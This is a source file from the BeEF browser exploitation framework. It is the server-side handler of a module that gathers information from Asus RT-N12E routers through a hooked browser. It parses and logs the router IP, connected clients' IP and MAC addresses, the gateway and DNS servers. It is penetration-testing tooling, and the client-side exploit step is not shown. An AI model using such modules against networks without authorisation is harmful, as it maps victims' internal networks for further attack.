Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/asus_rt_n12e_get_info/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Asus_rt_n12e_get_info < BeEF::Core::Command
7
def self.options
8
[
9
{ 'name' => 'target_ip', 'ui_label' => 'Target Host', 'value' => 'router.asus.com' }
10
]
11
end
12
13
def post_execute
14
save({ 'result' => @datastore['result'] })
15
16
configuration = BeEF::Core::Configuration.instance
17
return unless configuration.get('beef.extension.network.enable') == true
18
19
# log the network hosts
20
return unless @datastore['results'] =~ /ip=(.+)&clients=(.+)&wanip=(.+)&netmask=(.+)&gateway=(.+)&dns=(.+)/
21
22
ip = Regexp.last_match(1).to_s
23
clients = Regexp.last_match(2).to_s
24
# wanip = Regexp.last_match(3).to_s
25
# netmask = Regexp.last_match(4).to_s
26
gateway = Regexp.last_match(5).to_s
27
dns_servers = Regexp.last_match(6).to_s
28
session_id = @datastore['beefhook']
29
30
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
31
print_debug("Hooked browser found Asus RT-N12E router [ip: #{ip}]")
32
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, type: 'Asus RT-N12E Router')
33
BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: 'http', ip: ip, port: 80, type: 'HTTP Server')
34
end
35
36
clients.scan(/([\d.]+,[:\dA-F]{17})/).flatten.each do |client|
37
next if client.nil?
38
next unless client.to_s =~ /^([\d.]+),([:\dA-F]{17})$/
39
40
ip = Regexp.last_match(1)
41
mac = Regexp.last_match(2)
42
if BeEF::Filters.is_valid_ip?(ip)
43
print_debug("Hooked browser found router client [ip: #{ip}, mac: #{mac}]")
44
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, mac: mac)
45
end
46
end
47
48
if !gateway.nil? && BeEF::Filters.is_valid_ip?(gateway)
49
print_debug("Hooked browser found WAN gateway server [ip: #{gateway}]")
50
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: gateway, type: 'WAN Gateway')
51
end
52
53
if !dns_servers.nil? && dns_servers =~ /^([\d. ]+)$/
54
dns_servers.split(' ').uniq.each do |dns|
55
if BeEF::Filters.is_valid_ip?(dns)
56
print_debug("Hooked browser found DNS server [ip: #{dns}]")
57
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: dns, type: 'DNS Server')
58
end
59
end
60
end
61
end
62
end
63
64